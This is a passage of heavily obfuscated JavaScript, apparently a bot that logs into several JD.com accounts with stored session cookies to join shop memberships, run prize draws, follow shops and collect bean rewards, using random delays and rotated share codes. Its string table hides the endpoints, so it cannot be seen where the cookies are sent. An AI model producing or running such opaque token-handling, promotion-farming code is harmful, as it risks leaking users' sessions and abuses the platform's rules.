_0xdd3ebf==_0x3a63bd;},'xKyai':_0xb4b4('1e')};if(!cookiesArr[0x0]){if(_0x3db725[_0xb4b4('1f')](_0x3db725[_0xb4b4('20')],_0x3db725[_0xb4b4('20')])){$[_0xb4b4('21')]($[_0xb4b4('22')],_0x3db725[_0xb4b4('23')],_0x3db725[_0xb4b4('24')],{'open-url':_0x3db725[_0xb4b4('24')]});return;}else{console[_0xb4b4('7')](e);$[_0xb4b4('21')]($[_0xb4b4('22')],'',_0x3db725[_0xb4b4('25')]);return[];}}if($[_0xb4b4('0')]()){if(_0x3db725[_0xb4b4('26')](_0x3db725[_0xb4b4('27')](guaopencard,''),_0x3db725[_0xb4b4('28')])){if(_0x3db725[_0xb4b4('29')](_0x3db725[_0xb4b4('2a')],_0x3db725[_0xb4b4('2a')])){_0x3db725[_0xb4b4('2b')](resolve);}else{console[_0xb4b4('7')](_0x3db725[_0xb4b4('2c')]);}}if(_0x3db725[_0xb4b4('26')](_0x3db725[_0xb4b4('27')](guaopencard,''),_0x3db725[_0xb4b4('28')])){if(_0x3db725[_0xb4b4('29')](_0x3db725[_0xb4b4('2d')],_0x3db725[_0xb4b4('2d')])){console[_0xb4b4('7')](data);}else{return;}}}$[_0xb4b4('2e')]=[];$[_0xb4b4('2f')]=_0x3db725[_0xb4b4('30')];$[_0xb4b4('31')]=_0x3db725[_0xb4b4('32')];console[_0xb4b4('7')](_0xb4b4('33')+$[_0xb4b4('31')]+_0xb4b4('34')+$[_0xb4b4('2f')]);for(let _0x52bd17=0x0;_0x3db725[_0xb4b4('35')](_0x52bd17,cookiesArr[_0xb4b4('36')]);_0x52bd17++){cookie=cookiesArr[_0x52bd17];if(cookie){$[_0xb4b4('37')]=_0x3db725[_0xb4b4('38')](decodeURIComponent,cookie[_0xb4b4('39')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0xb4b4('39')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0xb4b4('3a')]=_0x3db725[_0xb4b4('3b')](_0x52bd17,0x1);await _0x3db725[_0xb4b4('2b')](getUA);console[_0xb4b4('7')](_0xb4b4('3c')+$[_0xb4b4('3a')]+'】'+$[_0xb4b4('37')]+_0xb4b4('3d'));await _0x3db725[_0xb4b4('3e')](run);if(_0x3db725[_0xb4b4('3f')](_0x52bd17,0x0)&&!$[_0xb4b4('40')])break;if($[_0xb4b4('13')])break;}}if($[_0xb4b4('13')]){let _0x5c809d=_0x3db725[_0xb4b4('41')];$[_0xb4b4('21')]($[_0xb4b4('22')],'',''+_0x5c809d);if($[_0xb4b4('0')]())await notify[_0xb4b4('42')](''+$[_0xb4b4('22')],''+_0x5c809d);}})()[_0xb4b4('43')](_0xb4aac2=>$[_0xb4b4('44')](_0xb4aac2))[_0xb4b4('45')](()=>$[_0xb4b4('46')]());async function run(){var _0x2f3c72={'gObjb':function(_0x14031d,_0x2ab332){return _0x14031d!=_0x2ab332;},'DKGqW':_0xb4b4('47'),'TQKEY':function(_0x53d6c0,_0x4af495){return _0x53d6c0>_0x4af495;},'wuVrA':_0xb4b4('48'),'ZmTQQ':function(_0x5300a8,_0x5c8ce6){return _0x5300a8+_0x5c8ce6;},'ssblM':_0xb4b4('49'),'TvPva':function(_0xb83858){return _0xb83858();},'GQTov':function(_0x31df43,_0x29352d){return _0x31df43==_0x29352d;},'AWdvW':function(_0x272794,_0x50e2c6){return _0x272794!==_0x50e2c6;},'RZbax':_0xb4b4('4a'),'QQhrr':function(_0x4e3990,_0x405543){return _0x4e3990!==_0x405543;},'FQwVw':_0xb4b4('4b'),'lQYEP':_0xb4b4('4c'),'iVMUG':_0xb4b4('4d'),'fLRxm':_0xb4b4('4e'),'OGmZM':function(_0x18c3f6,_0x12dd93){return _0x18c3f6===_0x12dd93;},'Phskf':_0xb4b4('4f'),'adwHj':function(_0x167935,_0x5ada88){return _0x167935==_0x5ada88;},'OSnUn':_0xb4b4('50'),'pElYp':function(_0x51d1c5){return _0x51d1c5();},'ccEAE':_0xb4b4('51'),'YfyJK':function(_0x585d90){return _0x585d90();},'SHtpN':_0xb4b4('52'),'OjilB':function(_0x1ce48b){return _0x1ce48b();},'TfPXA':function(_0x47db8b,_0x482541){return _0x47db8b!==_0x482541;},'eASKf':_0xb4b4('53'),'JVLSK':_0xb4b4('54'),'sRQQH':_0xb4b4('55'),'qgcga':function(_0x2ea8c5,_0x27d247){return _0x2ea8c5(_0x27d247);},'WPPHQ':function(_0x4877b1){return _0x4877b1();},'egsOl':function(_0x4a2330,_0x387378,_0x5a2d2a){return _0x4a2330(_0x387378,_0x5a2d2a);},'mNzKC':function(_0x46d624,_0x52a72f){return _0x46d624+_0x52a72f;},'DOepo':function(_0x114d80,_0x43c482){return _0x114d80*_0x43c482;},'cWwcu':function(_0x41c58f,_0x23b8e6){return _0x41c58f==_0x23b8e6;},'ddnmN':_0xb4b4('56'),'OTCCl':function(_0x448cce,_0x4aefa2){return _0x448cce(_0x4aefa2);},'MbLnv':function(_0x5158e3,_0x26a288,_0xcb777){return _0x5158e3(_0x26a288,_0xcb777);},'cUsbF':function(_0x25c7c3,_0x15550b){return _0x25c7c3+_0x15550b;},'CXzar':function(_0x5b4383,_0x40a8d6){return _0x5b4383*_0x40a8d6;},'HjncY':function(_0x1e3106,_0x2a3886){return _0x1e3106==_0x2a3886;},'oLDpQ':function(_0x17624b,_0x49bf90){return _0x17624b(_0x49bf90);},'tswCp':function(_0x24d829,_0x2c2d57){return _0x24d829==_0x2c2d57;},'quXvw':function(_0x552115,_0x40c8b3){return _0x552115+_0x40c8b3;},'YFLlf':_0xb4b4('57'),'gfCEx':function(_0x52118d,_0x501f9f){return _0x52118d*_0x501f9f;},'xgRwe':function(_0x165d45,_0x2afb12){return _0x165d45+_0x2afb12;},'xJTsc':_0xb4b4('58'),'TZLQe':function(_0x289fad,_0x39e4a1){return _0x289fad+_0x39e4a1;},'SZTPy':_0xb4b4('18'),'UdGrs':_0xb4b4('59'),'FCDFW':function(_0x42cc19){return _0x42cc19();},'XOkcs':function(_0x4cce36,_0x22dae3){return _0x4cce36==_0x22dae3;},'fvoxB':function(_0x14e563,_0x45e1f6,_0x1bd3f7){return _0x14e563(_0x45e1f6,_0x1bd3f7);},'nNuue':function(_0x532e8b,_0x3b7e84){return _0x532e8b+_0x3b7e84;},'rEgMT':_0xb4b4('5a'),'WWhUn':_0xb4b4('5b'),'boEWT':_0xb4b4('5c'),'cocyG':function(_0x1294d4,_0x4e1854){return _0x1294d4===_0x4e1854;},'vNaFX':_0xb4b4('5d'),'CUTmQ':function(_0x1ff142,_0x48b0e0){return _0x1ff142!==_0x48b0e0;},'QVxfn':function(_0x4f344c,_0x2751de){return _0x4f344c===_0x2751de;},'UMKcg':_0xb4b4('1c'),'uRnMc':function(_0x48165d,_0x280913){return _0x48165d+_0x280913;},'iDiRg':function(_0x79bc32,_0x207528){return _0x79bc32*_0x207528;},'YcEgH':function(_0x50d1cf,_0x1b9ff1,_0x5b10b){return _0x50d1cf(_0x1b9ff1,_0x5b10b);},'hydym':function(_0x3428f5,_0x377fa6){return _0x3428f5*_0x377fa6;}};try{lz_jdpin_token='';$[_0xb4b4('5e')]='';$[_0xb4b4('5f')]='';await _0x2f3c72[_0xb4b4('60')](getCk);if(_0x2f3c72[_0xb4b4('61')](activityCookie,'')){if(_0x2f3c72[_0xb4b4('62')](_0x2f3c72[_0xb4b4('63')],_0x2f3c72[_0xb4b4('63')])){console[_0xb4b4('7')](data);}else{console[_0xb4b4('7')](_0xb4b4('64'));return;}}if($[_0xb4b4('13')]){if(_0x2f3c72[_0xb4b4('65')](_0x2f3c72[_0xb4b4('66')],_0x2f3c72[_0xb4b4('67')])){console[_0xb4b4('7')](_0x2f3c72[_0xb4b4('68')]);return;}else{if(_0x2f3c72[_0xb4b4('69')](typeof setcookies,_0x2f3c72[_0xb4b4('6a')])){setcookie=setcookies[_0xb4b4('6b')](',');}else setcookie=setcookies;for(let _0x2ad118 of setcookie){let _0x296650=_0x2ad118[_0xb4b4('6b')](';')[0x0][_0xb4b4('6c')]();if(_0x296650[_0xb4b4('6b')]('=')[0x1]){if(_0x2f3c72[_0xb4b4('6d')](_0x296650[_0xb4b4('6e')](_0x2f3c72[_0xb4b4('6f')]),-0x1))LZ_TOKEN_KEY=_0x2f3c72[_0xb4b4('70')](_0x296650[_0xb4b4('71')](/ /g,''),';');if(_0x2f3c72[_0xb4b4('6d')](_0x296650[_0xb4b4('6e')](_0x2f3c72[_0xb4b4('72')]),-0x1))LZ_TOKEN_VALUE=_0x2f3c72[_0xb4b4('70')](_0x296650[_0xb4b4('71')](/ /g,''),';');}}}}await _0x2f3c72[_0xb4b4('60')](getToken);if(_0x2f3c72[_0xb4b4('61')]($[_0xb4b4('5e')],'')){console[_0xb4b4('7')](_0x2f3c72[_0xb4b4('73')]);return;}await _0x2f3c72[_0xb4b4('60')](getSimpleActInfoVo);$[_0xb4b4('74')]='';await _0x2f3c72[_0xb4b4('60')](getMyPing);if(_0x2f3c72[_0xb4b4('75')]($[_0xb4b4('5f')],'')||_0x2f3c72[_0xb4b4('61')](typeof $[_0xb4b4('76')],_0x2f3c72[_0xb4b4('77')])||_0x2f3c72[_0xb4b4('78')](typeof $[_0xb4b4('79')],_0x2f3c72[_0xb4b4('77')])){$[_0xb4b4('7')](_0x2f3c72[_0xb4b4('7a')]);return;}await _0x2f3c72[_0xb4b4('7b')](accessLogWithAD);$[_0xb4b4('7c')]=_0x2f3c72[_0xb4b4('7d')];await _0x2f3c72[_0xb4b4('7b')](getUserInfo);$[_0xb4b4('40')]='';await _0x2f3c72[_0xb4b4('7e')](getActorUuid);if(!$[_0xb4b4('40')]){console[_0xb4b4('7')](_0x2f3c72[_0xb4b4('7f')]);return;}await _0x2f3c72[_0xb4b4('7e')](drawContent);await $[_0xb4b4('80')](0x3e8);let _0x241379=await _0x2f3c72[_0xb4b4('81')](checkOpenCard);$[_0xb4b4('82')]=_0x241379[_0xb4b4('82')]?!![]:![];if(_0x241379&&!_0x241379[_0xb4b4('82')]&&!$[_0xb4b4('13')]){if(_0x2f3c72[_0xb4b4('83')](_0x2f3c72[_0xb4b4('84')],_0x2f3c72[_0xb4b4('85')])){let _0x449973=!![];for(let _0x4aa9b6 of _0x241379[_0xb4b4('86')]&&_0x241379[_0xb4b4('86')]||[]){if(_0x2f3c72[_0xb4b4('78')](_0x4aa9b6[_0xb4b4('87')],0x0)){var _0x4258cf=_0x2f3c72[_0xb4b4('88')][_0xb4b4('6b')]('|'),_0x3d9acb=0x0;while(!![]){switch(_0x4258cf[_0x3d9acb++]){case'0':if(_0x449973)console[_0xb4b4('7')]('组1');continue;case'1':await _0x2f3c72[_0xb4b4('89')](join,_0x4aa9b6[_0xb4b4('8a')]);continue;case'2':await _0x2f3c72[_0xb4b4('8b')](drawContent);continue;case'3':if(_0x449973)_0x449973=![];continue;case'4':console[_0xb4b4('7')](_0x4aa9b6[_0xb4b4('22')]);continue;case'5':await $[_0xb4b4('80')](_0x2f3c72[_0xb4b4('8c')](parseInt,_0x2f3c72[_0xb4b4('8d')](_0x2f3c72[_0xb4b4('8e')](Math[_0xb4b4('8f')](),0x3e8),0x1388),0xa));continue;}break;}}}_0x449973=!![];for(let _0x5d6db8 of _0x241379[_0xb4b4('90')]&&_0x241379[_0xb4b4('90')]||[]){if(_0x2f3c72[_0xb4b4('91')](_0x5d6db8[_0xb4b4('87')],0x0)){var _0x2307e4=_0x2f3c72[_0xb4b4('92')][_0xb4b4('6b')]('|'),_0x290e78=0x0;while(!![]){switch(_0x2307e4[_0x290e78++]){case'0':await _0x2f3c72[_0xb4b4('93')](join,_0x5d6db8[_0xb4b4('8a')]);continue;case'1':if(_0x449973)console[_0xb4b4('7')]('组2');continue;case'2':if(_0x449973)_0x449973=![];continue;case'3':await _0x2f3c72[_0xb4b4('8b')](drawContent);continue;case'4':await $[_0xb4b4('80')](_0x2f3c72[_0xb4b4('94')](parseInt,_0x2f3c72[_0xb4b4('95')](_0x2f3c72[_0xb4b4('96')](Math[_0xb4b4('8f')](),0x3e8),0x1388),0xa));continue;case'5':console[_0xb4b4('7')](_0x5d6db8[_0xb4b4('22')]);continue;}break;}}}await $[_0xb4b4('80')](0x3e8);await _0x2f3c72[_0xb4b4('8b')](drawContent);_0x241379=await _0x2f3c72[_0xb4b4('8b')](checkOpenCard);await $[_0xb4b4('80')](0x3e8);}else{console[_0xb4b4('7')](data);}}if(_0x241379&&_0x2f3c72[_0xb4b4('97')](_0x241379[_0xb4b4('98')],0x1)&&!$[_0xb4b4('13')])await _0x2f3c72[_0xb4b4('99')](startDraw,0x1);if(_0x241379&&_0x2f3c72[_0xb4b4('9a')](_0x241379[_0xb4b4('9b')],0x1)&&!$[_0xb4b4('13')])await _0x2f3c72[_0xb4b4('99')](startDraw,0x2);$[_0xb4b4('7')](_0x2f3c72[_0xb4b4('9c')](_0x2f3c72[_0xb4b4('9d')],$[_0xb4b4('9e')]));if(!$[_0xb4b4('9e')]&&!$[_0xb4b4('13')])await _0x2f3c72[_0xb4b4('8b')](followShop);if(!$[_0xb4b4('9e')]&&!$[_0xb4b4('13')])await $[_0xb4b4('80')](_0x2f3c72[_0xb4b4('94')](parseInt,_0x2f3c72[_0xb4b4('9c')](_0x2f3c72[_0xb4b4('9f')](Math[_0xb4b4('8f')](),0x3e8),0x1388),0xa));$[_0xb4b4('7')](_0x2f3c72[_0xb4b4('a0')](_0x2f3c72[_0xb4b4('a1')],$[_0xb4b4('a2')]));if(!$[_0xb4b4('a2')]&&_0x2f3c72[_0xb4b4('69')](_0x2f3c72[_0xb4b4('a3')](guaopencard_addSku,''),_0x2f3c72[_0xb4b4('a4')]))console[_0xb4b4('7')](_0x2f3c72[_0xb4b4('a5')]);if(!$[_0xb4b4('a2')]&&_0x2f3c72[_0xb4b4('9a')](guaopencard_addSku,_0x2f3c72[_0xb4b4('a4')])&&!$[_0xb4b4('13')])await _0x2f3c72[_0xb4b4('a6')](addSku);if(!$[_0xb4b4('a2')]&&_0x2f3c72[_0xb4b4('a7')](guaopencard_addSku,_0x2f3c72[_0xb4b4('a4')])&&!$[_0xb4b4('13')])await $[_0xb4b4('80')](_0x2f3c72[_0xb4b4('a8')](parseInt,_0x2f3c72[_0xb4b4('a3')](_0x2f3c72[_0xb4b4('9f')](Math[_0xb4b4('8f')](),0x3e8),0x1388),0xa));await _0x2f3c72[_0xb4b4('a6')](getDrawRecordHasCoupon);await $[_0xb4b4('80')](0x3e8);$[_0xb4b4('a9')]=0x0;await _0x2f3c72[_0xb4b4('a6')](getShareRecord);$[_0xb4b4('7')]($[_0xb4b4('40')]);$[_0xb4b4('7')](_0x2f3c72[_0xb4b4('aa')](_0x2f3c72[_0xb4b4('ab')],$[_0xb4b4('2f')]));if($[_0xb4b4('40')]){if(_0x2f3c72[_0xb4b4('83')](_0x2f3c72[_0xb4b4('ac')],_0x2f3c72[_0xb4b4('ad')])){$[_0xb4b4('2e')][_0xb4b4('3')]({'shareUuid':$[_0xb4b4('40')],'count':$[_0xb4b4('a9')],'index':$[_0xb4b4('3a')]});}else{if(_0x2f3c72[_0xb4b4('6d')](name[_0xb4b4('6e')](_0x2f3c72[_0xb4b4('6f')]),-0x1))LZ_TOKEN_KEY=_0x2f3c72[_0xb4b4('70')](name[_0xb4b4('71')](/ /g,''),';');if(_0x2f3c72[_0xb4b4('6d')](name[_0xb4b4('6e')](_0x2f3c72[_0xb4b4('72')]),-0x1))LZ_TOKEN_VALUE=_0x2f3c72[_0xb4b4('70')](name[_0xb4b4('71')](/ /g,''),';');}}else if(_0x2f3c72[_0xb4b4('ae')]($[_0xb4b4('3a')],0x1)){console[_0xb4b4('7')](_0x2f3c72[_0xb4b4('af')]);return;}if((!$[_0xb4b4('9e')]||!$[_0xb4b4('82')])&&_0x2f3c72[_0xb4b4('b0')]($[_0xb4b4('3a')],0x1))_0x2f3c72[_0xb4b4('a8')](updateShareUuid,$[_0xb4b4('2f')],0x1);if(_0x2f3c72[_0xb4b4('b1')]($[_0xb4b4('3a')],0x1)||_0x2f3c72[_0xb4b4('a7')]($[_0xb4b4('2f')],_0x2f3c72[_0xb4b4('b2')]))_0x2f3c72[_0xb4b4('a8')](updateShareUuid,$[_0xb4b4('2f')],0x0);await $[_0xb4b4('80')](_0x2f3c72[_0xb4b4('a8')](parseInt,_0x2f3c72[_0xb4b4('b3')](_0x2f3c72[_0xb4b4('b4')](Math[_0xb4b4('8f')](),0x3e8),0x1388),0xa));if(!$[_0xb4b4('9e')])await $[_0xb4b4('80')](_0x2f3c72[_0xb4b4('b5')](parseInt,_0x2f3c72[_0xb4b4('b3')](_0x2f3c72[_0xb4b4('b6')](Math[_0xb4b4('8f')](),0x3e8),0x2710),0xa));}catch(_0x87a679){console[_0xb4b4('7')](_0x87a679);}}function updateShareUuid(_0x3e86c4,_0x5d9806){var _0x3cc47b={'UXTjA':function(_0x40eeae){return _0x40eeae();},'PSqWF':function(_0x4bfc26,_0x4e115b){return _0x4bfc26==_0x4e115b;},'anjsn':function(_0x931de9,_0x2c1699){return _0x931de9==_0x2c1699;},'ELOPc':function(_0x442441,_0x3e7ae6){return _0x442441>=_0x3e7ae6;},'wEARn':function(_0x144b38,_0x3b9977){return _0x144b38==_0x3b9977;},'mDVfO':function(_0x46c92e,_0x2a2d02){return _0x46c92e<_0x2a2d02;},'wgQkD':function(_0x2d9965,_0x20c580){return _0x2d9965!==_0x20c580;},'pNNPm':_0xb4b4('b7'),'SNbiU':_0xb4b4('b8')};let _0x2c4854=0x0;for(let _0x391fd1 in $[_0xb4b4('2e')]){if($[_0xb4b4('2e')][_0x391fd1]&&_0x3cc47b[_0xb4b4('b9')]($[_0xb4b4('2e')][_0x391fd1][_0xb4b4('2f')],_0x3e86c4)){_0x2c4854=_0x391fd1;break;}}if(_0x3cc47b[_0xb4b4('ba')](_0x5d9806,0x1))$[_0xb4b4('2e')][_0x2c4854][_0xb4b4('bb')]++;if(_0x3cc47b[_0xb4b4('bc')]($[_0xb4b4('2e')][_0x2c4854][_0xb4b4('bb')],0x5)||_0x3cc47b[_0xb4b4('bd')](_0x5d9806,0x0)){console[_0xb4b4('7')](_0xb4b4('be')+$[_0xb4b4('2e')][_0x2c4854][_0xb4b4('2f')]+_0xb4b4('bf')+$[_0xb4b4('2e')][_0x2c4854][_0xb4b4('bb')]);for(let _0x5269aa in $[_0xb4b4('2e')]){if($[_0xb4b4('2e')][_0x5269aa]&&_0x3cc47b[_0xb4b4('c0')]($[_0xb4b4('2e')][_0x5269aa][_0xb4b4('bb')],0x5)){if(_0x3cc47b[_0xb4b4('c1')](_0x3cc47b[_0xb4b4('c2')],_0x3cc47b[_0xb4b4('c3')])){$[_0xb4b4('2f')]=$[_0xb4b4('2e')][_0x5269aa][_0xb4b4('2f')];console[_0xb4b4('7')](_0xb4b4('c4')+$[_0xb4b4('2f')]+_0xb4b4('c5')+$[_0xb4b4('2e')][_0x5269aa][_0xb4b4('3a')]+_0xb4b4('c6')+$[_0xb4b4('2e')][_0x5269aa][_0xb4b4('bb')]);break;}else{_0x3cc47b[_0xb4b4('c7')](resolve);}}}}}function getDrawRecordHasCoupon(){var _0x2e5ea6={'Ycpcj':function(_0x6db1b7,_0x404d79){return _0x6db1b7==_0x404d79;},'UVgRL':_0xb4b4('4d'),'APlpx':function(_0x50910c){return _0x50910c();},'zHxLS':function(_0x2acbaa,_0x31a433){return _0x2acbaa(_0x31a433);},'tBDAh':function(_0x374a95,_0x3bd94b){return _0x374a95===_0x3bd94b;},'rJUGt':_0xb4b4('c8'),'vqaav':_0xb4b4('c9'),'hmjMQ':_0xb4b4('ca'),'iokao':_0xb4b4('cb'),'FXtYU':_0xb4b4('47'),'xxtAt':function(_0xf16eb3,_0x3367b3){return _0xf16eb3!==_0x3367b3;},'vpLSK':_0xb4b4('cc'),'YYdoA':_0xb4b4('cd'),'PfiUB':function(_0x1e5d6c,_0x5e720c){return _0x1e5d6c==_0x5e720c;},'OgURg':_0xb4b4('ce'),'aYtBD':function(_0x350756,_0x2ee09c){return _0x350756==_0x2ee09c;},'FozJV':function(_0x1426ac,_0x30b3a4){return _0x1426ac!=_0x30b3a4;},'QboIc':function(_0x5c8145,_0x1de37e){return _0x5c8145!=_0x1de37e;},'jLCjm':function(_0x59a2ff,_0x6ccd56){return _0x59a2ff+_0x6ccd56;},'AJFGj':function(_0x33f4fa,_0x160d9d){return _0x33f4fa>_0x160d9d;},'AOhJQ':function(_0x2537e4,_0x10b59c){return _0x2537e4*_0x10b59c;},'KgRqv':function(_0xb77901,_0x48f5cc,_0x5461b2){return _0xb77901(_0x48f5cc,_0x5461b2);},'iYGST':_0xb4b4('cf'),'hZGZu':_0xb4b4('d0'),'odUoU':function(_0x6a0aba,_0x2f452e){return _0x6a0aba!==_0x2f452e;},'jfiWY':_0xb4b4('d1'),'weEJe':_0xb4b4('d2'),'kjUhy':function(_0x2bede1,_0x848f04){return _0x2bede1===_0x848f04;},'GRROB':_0xb4b4('d3'),'hLkoy':_0xb4b4('d4'),'ewEgz':function(_0x56e489,_0x379887){return _0x56e489(_0x379887);},'dnRfX':_0xb4b4('d5')};return new Promise(_0x4cd846=>{var _0x2af1c7={'ALeur':function(_0x3f91ca,_0xcc8891){return _0x2e5ea6[_0xb4b4('d6')](_0x3f91ca,_0xcc8891);},'lwVmM':_0x2e5ea6[_0xb4b4('d7')],'wsflE':function(_0x356e9f){return _0x2e5ea6[_0xb4b4('d8')](_0x356e9f);},'RfFPj':function(_0x57fad4,_0x1607fc){return _0x2e5ea6[_0xb4b4('d9')](_0x57fad4,_0x1607fc);},'yFzWU':function(_0x5e7dac,_0x265dc7){return _0x2e5ea6[_0xb4b4('da')](_0x5e7dac,_0x265dc7);},'kMUjy':_0x2e5ea6[_0xb4b4('db')],'hVkGe':_0x2e5ea6[_0xb4b4('dc')],'CdEbB':_0x2e5ea6[_0xb4b4('dd')],'czUdV':_0x2e5ea6[_0xb4b4('de')],'VDjaL':_0x2e5ea6[_0xb4b4('df')],'obnjX':function(_0x1c4f38,_0x49acce){return _0x2e5ea6[_0xb4b4('e0')](_0x1c4f38,_0x49acce);},'FUayv':_0x2e5ea6[_0xb4b4('e1')],'ArSST':_0x2e5ea6[_0xb4b4('e2')],'XRndC':function(_0x506622,_0x5c989d){return _0x2e5ea6[_0xb4b4('e3')](_0x506622,_0x5c989d);},'SVhxl':_0x2e5ea6[_0xb4b4('e4')],'WKaMn':function(_0x574efd,_0x3ad4e8){return _0x2e5ea6[_0xb4b4('e5')](_0x574efd,_0x3ad4e8);},'zuIIK':function(_0x4e208a,_0x2d38d2){return _0x2e5ea6[_0xb4b4('e6')](_0x4e208a,_0x2d38d2);},'lYfbE':function(_0x48dcb7,_0x526700){return _0x2e5ea6[_0xb4b4('e7')](_0x48dcb7,_0x526700);},'tahMZ':function(_0x1a182c,_0x5afce7){return _0x2e5ea6[_0xb4b4('e8')](_0x1a182c,_0x5afce7);},'bmikK':function(_0xa2137b,_0x100591){return _0x2e5ea6[_0xb4b4('e9')](_0xa2137b,_0x100591);},'DoWhC':function(_0x3ca4a2,_0x559d1c){return _0x2e5ea6[_0xb4b4('ea')](_0x3ca4a2,_0x559d1c);},'WXjuT':function(_0x1a4d69,_0x5fdce,_0x2350fe){return _0x2e5ea6[_0xb4b4('eb')](_0x1a4d69,_0x5fdce,_0x2350fe);},'CCHLD':function(_0xbac8e3,_0x100f64){return _0x2e5ea6[_0xb4b4('e5')](_0xbac8e3,_0x100f64);},'wZSTb':_0x2e5ea6[_0xb4b4('ec')],'naLwd':_0x2e5ea6[_0xb4b4('ed')],'qQMpt':function(_0x564f9b,_0x24439e){return _0x2e5ea6[_0xb4b4('ee')](_0x564f9b,_0x24439e);},'hXELi':_0x2e5ea6[_0xb4b4('ef')],'WkyIn':_0x2e5ea6[_0xb4b4('f0')]};if(_0x2e5ea6[_0xb4b4('f1')](_0x2e5ea6[_0xb4b4('f2')],_0x2e5ea6[_0xb4b4('f3')])){setcookie=setcookies[_0xb4b4('6b')](',');}else{let _0x31a396=_0xb4b4('f4')+$[_0xb4b4('31')]+_0xb4b4('f5')+$[_0xb4b4('40')]+_0xb4b4('f6')+_0x2e5ea6[_0xb4b4('f7')](encodeURIComponent,$[_0xb4b4('5f')])+_0xb4b4('f8');$[_0xb4b4('f9')](_0x2e5ea6[_0xb4b4('eb')](taskPostUrl,_0x2e5ea6[_0xb4b4('fa')],_0x31a396),async(_0x51b740,_0x928006,_0xe06690)=>{var _0x123569={'JAFEM':function(_0x468247){return _0x2af1c7[_0xb4b4('fb')](_0x468247);},'HAwKO':function(_0x2f3c7f,_0x10a1fe){return _0x2af1c7[_0xb4b4('fc')](_0x2f3c7f,_0x10a1fe);}};if(_0x2af1c7[_0xb4b4('fd')](_0x2af1c7[_0xb4b4('fe')],_0x2af1c7[_0xb4b4('ff')])){if(_0x928006[_0xb4b4('100')]&&_0x2af1c7[_0xb4b4('101')](_0x928006[_0xb4b4('100')],0x1ed)){console[_0xb4b4('7')](_0x2af1c7[_0xb4b4('102')]);$[_0xb4b4('13')]=!![];}console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x51b740));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{try{if(_0x2af1c7[_0xb4b4('fd')](_0x2af1c7[_0xb4b4('105')],_0x2af1c7[_0xb4b4('106')])){_0x123569[_0xb4b4('107')](_0x4cd846);}else{if(_0x51b740){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x51b740));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{res=$[_0xb4b4('108')](_0xe06690);if(_0x2af1c7[_0xb4b4('101')](typeof res,_0x2af1c7[_0xb4b4('109')])){if(_0x2af1c7[_0xb4b4('fd')](res[_0xb4b4('10a')],!![])&&res[_0xb4b4('10b')]){console[_0xb4b4('7')](_0xb4b4('10c'));let _0x421cc6=0x0;let _0x475017=0x0;for(let _0x31c9ff in res[_0xb4b4('10b')]){if(_0x2af1c7[_0xb4b4('10d')](_0x2af1c7[_0xb4b4('10e')],_0x2af1c7[_0xb4b4('10f')])){let _0x46f0c4=res[_0xb4b4('10b')][_0x31c9ff];if(_0x2af1c7[_0xb4b4('110')](_0x46f0c4[_0xb4b4('8a')],_0x2af1c7[_0xb4b4('111')]))_0x421cc6++;if(_0x2af1c7[_0xb4b4('112')](_0x46f0c4[_0xb4b4('8a')],_0x2af1c7[_0xb4b4('111')]))_0x475017=_0x46f0c4[_0xb4b4('113')][_0xb4b4('71')]('京豆','');if(_0x2af1c7[_0xb4b4('114')](_0x46f0c4[_0xb4b4('8a')],_0x2af1c7[_0xb4b4('111')]))console[_0xb4b4('7')](''+(_0x2af1c7[_0xb4b4('115')](_0x46f0c4[_0xb4b4('116')],0xa)&&_0x2af1c7[_0xb4b4('117')](_0x46f0c4[_0xb4b4('8a')],':')||'')+_0x46f0c4[_0xb4b4('113')]);}else{_0x123569[_0xb4b4('118')](_0x4cd846,res&&res[_0xb4b4('10b')]||'');}}if(_0x2af1c7[_0xb4b4('119')](_0x421cc6,0x0))console[_0xb4b4('7')](_0xb4b4('11a')+_0x421cc6+'):'+(_0x2af1c7[_0xb4b4('11b')](_0x421cc6,_0x2af1c7[_0xb4b4('11c')](parseInt,_0x475017,0xa))||0x1e)+'京豆');}else if(_0x2af1c7[_0xb4b4('11d')](typeof res,_0x2af1c7[_0xb4b4('109')])&&res[_0xb4b4('11e')]){console[_0xb4b4('7')](_0xb4b4('11f')+(res[_0xb4b4('11e')]||''));}else{console[_0xb4b4('7')](_0xe06690);}}else{if(_0x2af1c7[_0xb4b4('fd')](_0x2af1c7[_0xb4b4('120')],_0x2af1c7[_0xb4b4('121')])){msg+=_0xb4b4('122')+res[_0xb4b4('10b')][_0xb4b4('123')]+'京豆';}else{console[_0xb4b4('7')](_0xe06690);}}}}}catch(_0x4ebc3b){if(_0x2af1c7[_0xb4b4('124')](_0x2af1c7[_0xb4b4('125')],_0x2af1c7[_0xb4b4('126')])){$[_0xb4b4('44')](_0x4ebc3b,_0x928006);}else{_0x123569[_0xb4b4('107')](_0x4cd846);}}finally{_0x2af1c7[_0xb4b4('fb')](_0x4cd846);}}});}});}function getShareRecord(){var _0xbfef16={'IgQjN':function(_0xf1ea58,_0x3b7f9b){return _0xf1ea58==_0x3b7f9b;},'vFJxb':_0xb4b4('47'),'VYmAK':function(_0x57e5a8,_0x4feb6f){return _0x57e5a8===_0x4feb6f;},'iHnzk':function(_0x2adbef,_0x2a69f1){return _0x2adbef==_0x2a69f1;},'RPGWY':function(_0x49c185,_0x32c923){return _0x49c185!==_0x32c923;},'KcTQs':_0xb4b4('127'),'IFYfn':_0xb4b4('128'),'rBckv':function(_0x49b671,_0x333f3a){return _0x49b671===_0x333f3a;},'nYrim':_0xb4b4('129'),'FvdvP':_0xb4b4('12a'),'PtkAc':function(_0xe1f6ca){return _0xe1f6ca();},'FiiUH':function(_0x20be9a){return _0x20be9a();},'ICooo':function(_0x5b129b,_0x326933){return _0x5b129b==_0x326933;},'hhTzc':_0xb4b4('12b'),'goOrj':_0xb4b4('14'),'rHLAP':function(_0x33f64a,_0x58c2fe){return _0x33f64a===_0x58c2fe;},'OznId':_0xb4b4('12c'),'CwnBc':function(_0x10400b,_0x2e472d){return _0x10400b(_0x2e472d);},'sMmyv':function(_0x5e43c4,_0xf159bc,_0x38c832){return _0x5e43c4(_0xf159bc,_0x38c832);},'TuNIY':_0xb4b4('12d')};return new Promise(_0x5e6c71=>{var _0x213e9b={'Weans':function(_0x1a4251){return _0xbfef16[_0xb4b4('12e')](_0x1a4251);},'vptLz':function(_0x171894,_0x1dd4d0){return 